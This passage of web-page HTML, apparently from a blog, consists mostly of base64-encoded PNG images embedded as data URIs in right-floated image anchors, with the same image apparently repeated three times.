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" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="data:image/png;base64,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" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a><a href="data:image/png;base64,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